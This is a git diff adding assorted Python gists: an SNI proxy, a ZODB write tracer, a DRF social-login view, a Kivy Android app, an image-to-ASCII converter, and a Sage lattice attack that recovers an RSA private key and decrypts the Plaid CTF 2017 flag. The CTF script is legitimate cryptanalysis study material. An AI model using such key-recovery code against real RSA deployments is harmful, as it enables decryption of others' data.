+        factory = protocol.ReconnectingClientFactory()
+        factory.protocol = ClientProtocol
+        factory.server = self
+
+        # Connect client 'factory' to the destination
+        logger.debug('Creating connection to endpoint.')
+        d = endpoint.connect(factory)
+        reactor.callLater(30, d.cancel)
+
+    # Client => Proxy
+    def dataReceived(self, data):
+        if self.client:
+            self.client.write(data)
+        else:
+            # Add ClientHello handshake into an outbound buffer
+            self.buffer = data
+
+            # Try to read the SNI header from the SSL ClientHello
+            sni_domain = self.parseSNI(data)
+            if sni_domain:
+                logger.info('Got request with SNI %s.', sni_domain)
+
+                # Resolve the domain to a Twisted client endpoint
+                endpoint = self.resolve.get_endpoint(sni_domain)
+                if endpoint:
+                    self.createClient(endpoint)
+                else:
+                    # Could not resolve the SNI domain to an endpoint,
+                    # close the user's connection to the proxy server.
+                    self.transport.loseConnection()
+            else:
+                logger.warning("Got a request without SNI field, closing.")
+                self.transport.loseConnection()
+
+    # Proxy => Client
+    def write(self, data):
+        self.transport.write(data)
+
+
+class ClientProtocol(protocol.Protocol):
+    """
+    Protocol for the connection to destination endpoint
+    """
+
+    def connectionMade(self):
+        self.factory.server.client = self
+
+        # Write the ClientHello from the buffer to the Client connection
+        # when the connection is created
+        self.write(self.factory.server.buffer)
+        self.factory.server.buffer = None
+
+        logger.debug('Connection to endpoint successful.')
+
+    # Server => Proxy
+    def dataReceived(self, data):
+        self.factory.server.write(data)
+
+    # Proxy => Server
+    def write(self, data):
+        if data:
+            self.transport.write(data)
+
+    def connectionLost(self, reason):
+        logger.debug('Connection to endpoint lost.')
+        # Close the proxy server connection when the client connection closes
+        self.factory.server.transport.loseConnection()
+
+
+def main():
+    listening_port = 443
+    factory = protocol.ServerFactory()
+    factory.protocol = ServerProtocol
+
+    # Start the proxy server listener
+    logger.info("Starting SNI proxy server on port {}.".format(listening_port))
+    reactor.listenTCP(listening_port, factory)
+    reactor.run()
+
+
+if __name__ == '__main__':
+    main()
\ No newline at end of file
diff --git a/hard-gists/4abfb80b336a8a56c0a5/._snippet.py b/hard-gists/4abfb80b336a8a56c0a5/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4abfb80b336a8a56c0a5/._snippet.py differ
diff --git a/hard-gists/4abfb80b336a8a56c0a5/snippet.py b/hard-gists/4abfb80b336a8a56c0a5/snippet.py
new file mode 100644
index 00000000..80f9a685
--- /dev/null
+++ b/hard-gists/4abfb80b336a8a56c0a5/snippet.py
@@ -0,0 +1,130 @@
+"""Helper to trace ZODB object registrations in order to debug CSRF false
+positives with plone.protect.
+
+This helper is intended for DEBUGGING, not for use in production!
+"""
+
+from collections import namedtuple
+from functools import partial
+from threading import local
+from ZODB.utils import u64
+import sys
+import traceback
+import ZODB
+
+# Keep a thread local reference to any original trace function
+thread_locals = local()
+thread_locals.original_trace_func = None
+
+
+AnnotatedTraceback = namedtuple(
+    'AnnotatedTraceback',
+    ['obj', 'oid', 'filename', 'line_no', 'extracted_tb'])
+
+
+class TraceObjectRegistrations(object):
+    """
+    Context manager that traces and displays calls to a ZODB
+    connection's `register()` method.
+
+    These calls will effectively indicate the first DB write to a persistent
+    object, and displaying them for an operation that isn't supposed to cause
+    a DB write can help in debugging false positives with plone.protect's
+    automatic CSRF protection.
+
+    Once a call to `register()` is intercepted, a message indicating this
+    and the corresponding stack trace are displayed.
+
+    :param tb_limit: Maximum depth of the displayed stack trace
+
+    Usage:
+
+    >>> with TraceObjectRegistrations(tb_limit=5):
+    ...     something_that_writes_but_shouldnt()
+
+    """
+
+    def __init__(self, tb_limit=10):
+        self.tb_limit = tb_limit
+
+    def __enter__(self):
+        trace_func = partial(_trace_obj_registration_calls, self.tb_limit)
+        set_trace(trace_func)
+        return self
+
+    def __exit__(self, exc_type, exc_value, traceback):
+        remove_trace()
+
+
+def set_trace(trace_func):
+    """Registers a call trace function which will be called for every
+    function call, and keeps a reference to any previously set trace function
+    in order to be able to restore it.
+    """
+    global thread_locals
+
+    thread_locals.original_trace_func = sys.gettrace()
+    sys.settrace(trace_func)
+
+
+def remove_trace():
+    """Restores the original trace function (if there was one).
+    """
+    global thread_locals
+
+    sys.settrace(thread_locals.original_trace_func)
+
+
+def _trace_obj_registration_calls(tb_limit, frame, event, arg):
+    """Call trace function to intercept any calls to a ZODB
+    connection's .register() method (which effectively indicates a DB write).
+
+    (This function needs to be partially applied first in order to have the
+    proper 3 argument signature to be used as a trace function)
+    """
+    if event != 'call':
+        return
+
+    co = frame.f_code
+    func_name = co.co_name
+
+    # We only want to trace calls to .register() on a
+    # ZODB.Connection.Connection or any of its subclasses.
+
+    if func_name != 'register':
+        return
+
+    frame_self = frame.f_locals.get('self')
+    if frame_self is None:
+        return
+
+    if not issubclass(frame_self.__class__, ZODB.Connection.Connection):
+        return
+
+    # At this point we can be reasonably certain that we're in
+    # `register(self, obj)` - so we try to get a reference to the object
+    # that's being registered to print a more helpful message
+    obj = frame.f_locals.get('obj')
+    oid = hex(u64(obj._p_oid))
+
+    # Walk up the stack one frame, in order to get the stack frame that's
+    # causing the call to `register()`, and build the traceback for that frame
+    outer_frame = frame.f_back
+
+    filename = outer_frame.f_code.co_filename
+    line_no = outer_frame.f_lineno
+    extracted_tb = traceback.extract_stack(outer_frame, limit=tb_limit)
+
+    annotated_tb = AnnotatedTraceback(
+        obj, oid, filename, line_no, extracted_tb)
+
+    _display_intercepted_call(annotated_tb)
+
+
+def _display_intercepted_call(annotated_tb):
+    msg = 'DB write to {obj} ({oid}) from "{filename}", line {line_no}'
+    msg = msg.format(**annotated_tb._asdict())
+    print "=" * len(msg)
+    print msg
+    print "=" * len(msg)
+    print ''.join(traceback.format_list(annotated_tb.extracted_tb))
diff --git a/hard-gists/4aed548e606f11971f5a/._snippet.py b/hard-gists/4aed548e606f11971f5a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4aed548e606f11971f5a/._snippet.py differ
diff --git a/hard-gists/4aed548e606f11971f5a/snippet.py b/hard-gists/4aed548e606f11971f5a/snippet.py
new file mode 100644
index 00000000..62fa35d7
--- /dev/null
+++ b/hard-gists/4aed548e606f11971f5a/snippet.py
@@ -0,0 +1,55 @@
+from rest_framework import status
+
+from rest_framework.authtoken.models import Token
+from rest_framework.authtoken.views import ObtainAuthToken
+from rest_framework.generics import ListAPIView
+from rest_framework.response import Response
+from rest_framework.reverse import reverse
+from rest_framework.settings import api_settings
+from social.apps.django_app.utils import strategy
+from social.backends.oauth import BaseOAuth1, BaseOAuth2
+
+from api.serializers.social_login import ObtainSocialAuthTokenSerializer
+
+
+@strategy()
+def _register_by_access_token(request, backend):
+	"""
+	Checks what OAuth protocol is being used for social authentication, backend corresponds to the allowed backend types
+	and authenticates the user using the access token from the request.
+	"""
+	backend = request.strategy.backend
+
+	if isinstance(backend, BaseOAuth1):
+		token = {
+			'oauth_token': request.POST.get('access_token'),
+			'oauth_token_secret': '<secret>'  # required by python-social-auth, but is not used
+		}
+	elif isinstance(backend, BaseOAuth2):
+		token = request.POST.get('access_token')
+	else:
+		raise Response("Wrong backend type", status=status.HTTP_400_BAD_REQUEST)
+
+	return backend.do_auth(token)
+
+
+class ObtainSocialAuthTokenView(ObtainAuthToken):
+	serializer_class = ObtainSocialAuthTokenSerializer
+	renderer_classes = api_settings.DEFAULT_RENDERER_CLASSES
+	parser_classes = api_settings.DEFAULT_PARSER_CLASSES
+
+	class Meta():
+		list_wrapper = "tokens"
+		instance_wrapper = "token"
+
+	def post(self, request, backend):
+		serializer = self.serializer_class(data=request.DATA)
+
+		if serializer.is_valid():
+			user = _register_by_access_token(request, backend)
+			if user:
+				user_url = reverse('user-instance', args=[user.pk], request=request)
+				token, created = Token.objects.get_or_create(user=user)
+				return Response({'token': token.key, 'user_id': user.id, 'user_url': user_url})
+
+		return Response(serializer.errors, status.HTTP_400_BAD_REQUEST)
\ No newline at end of file
diff --git a/hard-gists/4b2897a857a5ec91d9ea965d87b795c8/._snippet.py b/hard-gists/4b2897a857a5ec91d9ea965d87b795c8/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4b2897a857a5ec91d9ea965d87b795c8/._snippet.py differ
diff --git a/hard-gists/4b2897a857a5ec91d9ea965d87b795c8/snippet.py b/hard-gists/4b2897a857a5ec91d9ea965d87b795c8/snippet.py
new file mode 100644
index 00000000..d092d8fd
--- /dev/null
+++ b/hard-gists/4b2897a857a5ec91d9ea965d87b795c8/snippet.py
@@ -0,0 +1,185 @@
+'''
+Common-prime (in group order!) RSA with low private exponent.
+p = 2ga + 1
+q = 2gb + 1
+N = p * q
+phi(N) = 2gab
+'''
+
+from sage.all import *
+
+
+F = PolynomialRing(ZZ, names='x,y')
+x, y = F.gens()
+
+if 0:
+    print "# RSA generated sample - 512 bits"
+    debug = 1
+
+    n   = 'bits: 511(*8 = 4088):' and 6332209924906212950816505180496214422855463382080555526624065510289860012943655551527746445592934358298843747768711404596123307443271433986242907192036903
+    lcm = 'bits: 307(*8 = 2456):' and 143204633245102305770892944333114088164113267378582222077214858741657557576780457628982148872
+    e   = 'bits: 306(*8 = 2448):' and 102573151860923483482923635426844028877725507002960664276202012941781377721174662183122336581
+    d   = 'bits:  81(*8 =  648):' and 2297833573541091530506325
+    p   = 'bits: 256(*8 = 2048):' and 96078657335310124036719788604006385717997522720399015824884106923763004145007
+    q   = 'bits: 256(*8 = 2048):' and 65906519725885527799387426619815010642569160879093905257080055731449910333129
+    k   = 'bits:  81(*8 =  648):' and 1645868759613054159239517
+    g   = 'bits: 204(*8 = 1632):' and 22108956188827705981683764894239934965534004098276290804789247
+    a   = 'bits:  51(*8 =  408):' and 2172844717650249
+    b   = 'bits:  51(*8 =  408):' and 1490493697734812
+
+    N = n - 1
+
+    f = (e*x - 1) * (e*x - 1 + y)
+
+    solx = d
+    soly = k * (a + b)
+    X = solx + 100
+    Y = soly + 100
+else:
+    print "# Plaid CTF 2017 Quals - Common (Crypto 600) - common prime RSA with small d"
+    debug = 0
+
+    TASK_N = n = 58088432169707511884530887899705328460043341752051203523596713643978064163990486003388043207708974302843002172264417411586749486956628013574926573715095249317804208372132481594468281365459316852927039797580064466731086129431102303726096683810636192790138689214881951836298576801818592777778548978736174404573637727968467102304994883348510912250960513170991711142297420921866513951251779528983034404550484931629702384165892697556071097115581299228167852394258387798734409094231193145682416393190929132395057494573898497863918989076392413537702062176268786330410635086565380004463707094857932051066439903977555824218219175469965671350998705376046031482320586719742092257095632485346554447599297796154806971819544073874759609887168714861438380508381072200369356855424637087904990126639040356052220595703217836390163784968964557550834138598331720685971193948909145336792118311346853933919997080542485529346554810899612986872128053464963893904969598870571593590391792680177336466285483108769678524923709955832516312592396932275858180384073997491565078915852990631405792518132787289319255490058314797418779789436482247156880548274241414788581503832731423362447015575598719157544932430682335826661205441977262084135022109705809490179219483
+    TASK_E = e = 1296863142627338816011174237898978985407338763709131570002553514972553044428195580769854555546152719732990573444787592853632636242677007643888487629752955065888264014132275294946697123213980215879592216819850992977582758776020797257958443371755687921634978634111557036569863976062810460472490135115734285081745257140890782551910267112228842110620084653440977034007333330590567591507504424149155838966172077983891168269103390479149309815192817914537419492632845858394205854892694802909512194639800529863998537677351955149803841057222279150345376221210193853988829004456607875070080035867353641697190133291884195010172677474092272163240020759433657106746641878734177642792083528380007586872967990567342937466301144028345682953828338178443155
+    TASK_ENC_2 = pow(2, TASK_E, TASK_N)
+
+    N = n - 1
+
+    f = (e*x - 1) * (e*x - 1 + y)
+
+    # doubled values from another generated sample
+    # [!] the algorithm is quite sensitive to these..
+    X = 2**657  # d
+    Y = 2**1066 # k (a + b)
+    # X = 2**700 <- does not work...
+
+    debug = 0
+
+# info
+bits_XY = RR(log(X*Y, 2))
+bits_N = RR(log(N, 2))
+print "Ratio:", bits_XY, "/", bits_N, "=", bits_XY / bits_N
+
+# polynomial is fine?
+if debug:
+    assert 0 == f.subs(x=solx, y=soly) % N
+    assert 0 != f.subs(x=solx+1, y=soly) % N
+    assert 0 != f.subs(x=solx, y=soly+1) % N
+assert 0 != f.subs(x=123, y=31337)
+
+# [!] configurable parameters, by hand...
+m = 3
+my = 2
+mxy_x = 1
+mxy_y = 1
+
+# generate polynomials for lattice
+polys = []
+for k in xrange(m + 1):
+    for i in xrange(m - k +1):
+        p = x**i * f**k * N**(m-k)
+        p = p.subs(x=x*X, y=y*Y)
+        polys.append( p )
+
+    for i in xrange(my + 1):
+        p = y**i * f**k * N**(m-k)
+        p = p.subs(x=x*X, y=y*Y)
+        polys.append( p )
+
+    for i in xrange(mxy_x + 1):
+        for j in xrange(mxy_y + 1):
+            p = x**i * y**j * f**k * N**(m-k)
+            p = p.subs(x=x*X, y=y*Y)
+            polys.append( p )
+
+polys = sorted(set(polys))
+
+# monomials <-> indices
+monos = set()
+for p in polys:
+    for c, mono in p:
+        monos.add(mono)
+
+mono_order = sorted(monos)
+
+# make matrix with lattice rows
+m = matrix(ZZ, len(polys), len(mono_order))
+for yi, p in enumerate(polys):
+    for c, mono in p:
+        xi = mono_order.index(mono)
+        m[yi,xi] = c
+
+print "LLL...", m.nrows(), "x", m.ncols()
+m = m.LLL()
+print "Done\n"
+
+def topoly(hrow):
+    return sum(c*mono/mono.subs(x=X,y=Y) for c, mono in zip(hrow, mono_order)).change_ring(QQ)
+
+# forming polys from coefficients
+hs = []
+for hrow in m:
+    if not hrow:
+        continue
+    h = topoly(hrow)
+    if debug:
+        assert h.subs(x=solx,y=soly) % N == 0
+        if h.subs(x=solx,y=soly) == 0:
+            hs.append(h)
+            print "Got poly with good root over ZZ. (%d total)" % len(hs)
+    else:
+        hs.append(h)
+
+print "Polys", len(hs)
+
+
+# find two algebraically independent polys with target roots
+def find_roots(hs):
+    roots = set()
+    yy = y.change_ring(QQ)
+    assert str(y) == "y"
+    itr = 0
+    RQQ = PolynomialRing(QQ, names='x')
+    # TODO: consider smallest h1, h2 first
+    for h1, h2 in Combinations(hs, 2):
+        itr += 1
+        if itr % 10 == 0:
+            print itr, "/", binomial(len(hs), 2)
+        res = h1.resultant(h2, yy)
+        res = RQQ(res)
+        if not res:
+            continue
+        for r, multiplicity in res.roots():
+            r = int(r) % N
+            if r and r not in roots:
+                roots.add(r)
+                yield r
+
+for r in find_roots(hs):
+    print "Got root!", r
+    if debug:
+        if r == solx:
+            print "Root matches the solution!"
+    elif pow(TASK_ENC_2, r, TASK_N) == 2:
+        print "Solution!"
+        print "d =", r
+
+        # decrypting flag, basic stuff
+        import sys
+        sys.path += ["/usr/lib/python2.7/dist-packages/"] # for gmpy
+        from rsatool import RSA  # https://github.com/ius/rsatool
+        from Crypto.PublicKey import RSA as RSA2
+        from Crypto.Cipher import PKCS1_OAEP
+
+        rsa = RSA(n=TASK_N, d=r, e=TASK_E)
+        with open("priv.pem", "w") as fk:
+            fk.write(rsa.to_pem())
+        print "Key written!"
+
+        key = RSA2.construct(map(long, (rsa.n, rsa.e, rsa.d, rsa.p, rsa.q)))
+        cipher = PKCS1_OAEP.new(key)
+        print `cipher.decrypt(open("flag.enc").read())`
+
+        # 'PCTF{Beh0ld_th3_sm1th_of_C0pper_4nd_7he_var1at3_of_Tri}'
+
+        quit()
diff --git a/hard-gists/4b3c1a78b0104e52b2a1/._snippet.py b/hard-gists/4b3c1a78b0104e52b2a1/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4b3c1a78b0104e52b2a1/._snippet.py differ
diff --git a/hard-gists/4b3c1a78b0104e52b2a1/snippet.py b/hard-gists/4b3c1a78b0104e52b2a1/snippet.py
new file mode 100644
index 00000000..6ded4444
--- /dev/null
+++ b/hard-gists/4b3c1a78b0104e52b2a1/snippet.py
@@ -0,0 +1,54 @@
+import kivy
+kivy.require('1.8.0')
+
+from kivy.app import App
+from kivy.lang import Builder
+
+from jnius import autoclass
+PythonActivity = autoclass('org.renpy.android.PythonActivity')
+View = autoclass('android.view.View')
+Params = autoclass('android.view.WindowManager$LayoutParams')
+
+from android.runnable import run_on_ui_thread
+
+root = Builder.load_string('''
+BoxLayout:
+    orientation: 'vertical'
+    Button:
+        text: 'Set Flag'
+        on_press: app.setflag()
+    Button:
+        text: 'Clear Flag'
+        on_press: app.clearflag()
+''')
+
+class DimTestApp(App):
+    def build(self):
+        return root
+
+    #@run_on_ui_thread
+    #def set_systemui_visibility(self, options):
+    #   PythonActivity.mActivity.getWindow().getDecorView().setSystemUiVisibility(options)
+    #
+    #def dim(self, *args):
+    #   self.set_systemui_visibility(View.SYSTEM_UI_FLAG_LOW_PROFILE)
+    #
+    #def undim(self, *args):
+    #   self.set_systemui_visibility(0)
+
+    @run_on_ui_thread
+    def android_setflag(self):
+        PythonActivity.mActivity.getWindow().addFlags(Params.FLAG_KEEP_SCREEN_ON)
+
+    def setflag(self, *args):
+        self.android_setflag()
+
+    @run_on_ui_thread
+    def android_clearflag(self):
+        PythonActivity.mActivity.getWindow().clearFlags(Params.FLAG_KEEP_SCREEN_ON)
+
+    def clearflag(self, *args):
+        self.android_clearflag()
+
+if __name__ == '__main__':
+    DimTestApp().run()
diff --git a/hard-gists/4b5afb297b4b7c835e6f/._snippet.py b/hard-gists/4b5afb297b4b7c835e6f/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4b5afb297b4b7c835e6f/._snippet.py differ
diff --git a/hard-gists/4b5afb297b4b7c835e6f/snippet.py b/hard-gists/4b5afb297b4b7c835e6f/snippet.py
new file mode 100644
index 00000000..9b6bc0b9
--- /dev/null
+++ b/hard-gists/4b5afb297b4b7c835e6f/snippet.py
@@ -0,0 +1,137 @@
+"""
+The basic idea is that I loop through all characters and count the number of 
+pixels and make <Hashtable number of pixels as a key and character as value>
+
+The table will not have 255 value so to cover this I had to calculate the 
+slope of change as a base step for the colors.
+example, 	if we have 50 value and we need 255 value, then each 255/50 = 5.1
+			Then with each gray color we will devied by 5 so we have index to
+			be fetched from the keys of the pixels table
+
+Looping through the photo pixels and converting it to Gray scale and devide
+using the base step, now you will have a character
+"""
+
+from PIL import Image, ImageDraw
+import sys
+
+def pix_in_char(c):
+    size = (10,10)
+    im = Image.new('RGB', size)
+    draw = ImageDraw.Draw(im)
+    white = (255,255,255)
+    text_pos = (0,0)
+    draw.text(text_pos, c+c, fill=white)
+    
+    del draw
+    pix = im.load()
+    cid = 0
+    for x in range(10):
+        for y in range(10):
+            cid = cid if pix[x,y][0]==0 else cid + y
+    return cid
+
+pix_in_char_table = {}
+
+for i in range(255):
+    character = chr(i)
+    pix_count = pix_in_char(character)
+    pix_in_char_table[pix_count] = character
+
+pix_in_char_table[pix_count] = " "
+
+keys = sorted(list(pix_in_char_table.keys()))
+base = int(255/len(pix_in_char_table))
+
+if len(sys.argv)!=2:
+    print("Need image name only.")
+    exit()
+
+image_name = sys.argv[1]
+output_name = image_name.split(".")[0] + "__image_2_ascii__.txt"
+im = Image.open(image_name)
+pix = im.load()
+image_text = ""
+for y in range(im.size[1]):
+    for x in range(im.size[0]):
+        clr = int(sum(pix[x,y])/4)
+        image_text += pix_in_char_table[keys[int(clr/base)]]*2
+    image_text += "\n"
+
+
+open(output_name, "w").write(image_text)
+
+"""
+yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
+yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
+yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
+yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
+yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyynnnnnnnnnnnnnnnnnnnnnnyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
+yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyynnnnnnqqllffffffllqqqqqqyynnnnnnyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
+yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyynnyyffZZppppppQQppllqqllllllllqqyynnyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
+yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyynnnnllppQQQQQQppppQQppllqqllllllllllllqqnnnnyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
+yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyynnyyZZppQQppppppppppQQppllllllllllllllllllqqyynnyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
+yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyynnyyZZQQppppppppppppppQQppllqqllllllllllllllllllyynnyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
+yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyynnyyZZQQppppppppppppppppQQppllqqllllllllllllllllllllyynnyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
+yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyynnnnZZQQppppppppppppppppppQQppllqqllllllllllllllllllllqqnnyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
+yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyynnffQQppppppppppppppppppppQQppllqqllllllllllllllllllllllqqnnyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
+yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyynnllppQQppppppppppppppppppppQQppllqqllllllllllllllllllllllqqyynnyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
+yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyynnyyZZQQppppppppppppppppppppppQQppllqqllllllllllllllllllllllllqqnnnnyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
+yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyynnffQQppppppppppppppppppppppppQQppllqqllllllllllllllllllllllllllyyxxyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
+yyyyyyyyyyyyyyyyyyyyyyyyyyyyyynnqqppQQppppppppppppppppppppppppQQppllqqllllllllllllllllllllllllllllnnxxyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
+yyyyyyyyyyyyyyyyyyyyyyyyyyyyyynnZZQQppppppppppppppppppppppppppQQppllqqllllllllllllllllllllllllllllqqssnnyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
+yyyyyyyyyyyyyyyyyyyyyyyyyyyynnllppQQppppppppppppppppppppppppppQQppllqqllllllllllllllllllllllllllllllyyssnnyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
+yyyyyyyyyyyyyyyyyyyyyyyyyynnnnZZQQppppppppppppppppppppppppppppQQppllqqllllllllllllllllllllllllllllllqqxxxxnnyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
+yyyyyyyyyyyyyyyyyyyyyyyyyynnllppppppppppppppppppppppppppppppppQQppllqqllllllllllllllllllllllllllllllllyyssnnnnyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
+yyyyyyyyyyyyyyyyyyyyyyyynnnnZZQQppppppppppppppppppppppppppppppppppllqqllllllllllllllllllllllllllllllllqqxxxxnnnnyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
+yyyyyyyyyyyyyyyyyyyyyyyynnllppppppppppppppppppppppppppQQQQQQQQQQQQffffffllllllllllllllllllllllllllllllllyyssxxxxnnyyyyyyyyyyyyyyyyyyyyyyyyyyyy
+yyyyyyyyyyyyyyyyyyyyyyyynnZZQQppppppppppppppppppQQQQQQddddddddddddZZZZZZffffffffllllllllllllllllllllllllqqxxxxnnnnnnyyyyyyyyyyyyyyyyyyyyyyyyyy
+yyyyyyyyyyyyyyyyyyyyyynnllppQQppppppppppppQQQQQQddddddddddddddddddZZZZZZZZffffffffffffllllllllllllllllllllnnssxxnnnnnnyyyyyyyyyyyyyyyyyyyyyyyy
+yyyyyyyyyyyyyyyyyyyyyynnZZQQppppppppppppQQddddddddddddddddddddddddZZZZZZZZZZffffffffffffffllllllllllllllllqqssxxxxnnnnnnyyyyyyyyyyyyyyyyyyyyyy
+yyyyyyyyyyyyyyyyyyyynnllppQQppppppQQQQQQddddddddddddddddddddddddddZZZZZZZZZZZZffffffffffffffffllllllllllllllnnssxxnnnnnnnnyyyyyyyyyyyyyyyyyyyy
+yyyyyyyyyyyyyyyyyyyynnZZQQppppppQQppppddddddddddddddddddddddddddddZZZZZZZZZZZZZZZZffffffffffffffllllllllllllyyssxxxxnnnnnnnnyyyyyyyyyyyyyyyyyy
+yyyyyyyyyyyyyyyyyynnqqppQQppppQQppqqZZddddddddddddddddddddddddddddZZZZZZZZZZZZZZZZZZffffffffffffffllllllllllqqnnssxxxxnnnnnnnnyyyyyyyyyyyyyyyy
+yyyyyyyyyyyyyyyyyynnffQQppppQQppyyyyZZddddddddddddddddddddddddddddZZZZZZZZZZZZZZZZZZZZZZffffffffffyyqqllllllllyyssxxxxnnnnnnnnnnyyyyyyyyyyyyyy
+yyyyyyyyyyyyyyyynnyyppQQppppQQqq??yyZZddddddddddddddddddddddddddddZZZZZZZZZZZZZZZZZZZZZZZZZZffffllwwxxllllllllqqxxxxxxxxnnnnnnnnyyyyyyyyyyyyyy
+yyyyyyyyyyyyyyyynnllppppppQQZZcc??xxZZddddddddddddddddddddddddddddZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZqqccvvyyllllllllyyssxxxxnnnnnnnnnnyyyyyyyyyyyy
+yyyyyyyyyyyyyynnnnZZQQppppQQqq????ccffddddddddddddddddddddddddddddZZZZZZZZZZZZZZZZZZZZZZZZZZZZffnnxxssnnllllllllqqssxxxxxxnnnnnnnnnnyyyyyyyyyy
+yyyyyyyyyyyyyynnqqppQQppQQppss??wwxxllQQddddddddddddddddddddddddddZZZZZZZZZZZZZZZZZZZZZZZZZZZZllxxxxxxxxqqllllllllnnssxxxxnnnnnnnnnnnnyyyyyyyy
+yyyyyyyyyyyyyynnffQQppppQQZZvvssqqqqqqppddddddddddddddddddddddddddZZZZZZZZZZZZZZZZZZZZZZZZZZZZnnssssccccyyllllllllyyssxxxxnnnnnnnnnnnnyyyyyyyy
+yyyyyyyyyyyynnyyppQQppppQQffssyynnxxccffddddddddddddddddddQQppppZZqqqqllffZZZZZZZZZZZZZZZZZZllssxxxxcc??nnllllllllqqxxxxxxxxnnnnnnnnnnnnyyyyyy
+yyyyyyyyyyyynnllppppppppQQllvvcc??????qqddddddddddddddddppffffffllxxssxxxxqqZZZZZZZZZZZZZZZZnnvvssxxjj??nnllllllllllyyssxxxxnnnnnnnnnnnnnnyyyy
+yyyyyyyyyyyynnZZQQppppppQQqq??????cc??xxQQddddddddddddppffffffffllxxssssssssqqZZZZZZZZZZZZffww??vvvvcc??xxllllllllllqqssxxxxxxnnnnnnnnnnnnyyyy
+yyyyyyyyyynnqqppQQppppppQQqq??vvcc??wwyyZZddddddddddQQffffffZZZZZZyynnnnxxssxxffZZZZZZZZZZyy??vvvv??vv??xxllllllllllqqnnssxxxxnnnnnnnnnnnnnnyy
+yyyyyyyyyynnffQQppppppppQQqq??vv??ccyyqqqqppddddddddppffffppddddQQZZffZZllxxssyyZZZZZZZZlljj??vvvvvvvv??nnllllllllllllyyssxxxxxxnnnnnnnnnnnnyy
+yyyyyyyyyynnZZQQppppppppQQll????wwnnyywwjjffppQQQQppffffZZQQppppZZqqyyqqffyyssxxllffffqqxxcc??vvvvvvvv??nnllllllllllllqqxxxxxxxxnnnnnnnnnnnnnn
+yyyyyyyyyynnZZQQppppppppQQff????jjjj??vvxxllffffffffffffZZffllffllxxjjjjnnyyxxxxxxnnxxssjjvv??vv??vv????yyllllllllllllqqssxxxxxxnnnnnnnnnnnnnn
+yyyyyyyyyynnllppppppppppQQZZjj??vv??ccssssxxffffffffffffffffffffffnnxxxxssssxxxxxxssxxxxww??vvvv??vv??ccqqllllllllllllyyssxxxxxxxxnnnnnnnnnnnn
+yyyyyyyyyynnyyppQQppppppQQppnn??vvvvvvvv????qqffffffffffffffffffffnnssxxxxxxxxxxxxxxxxss????vvvv??vv??ssllllllllllllqqxxssxxxxxxxxnnnnnnnnnnnn
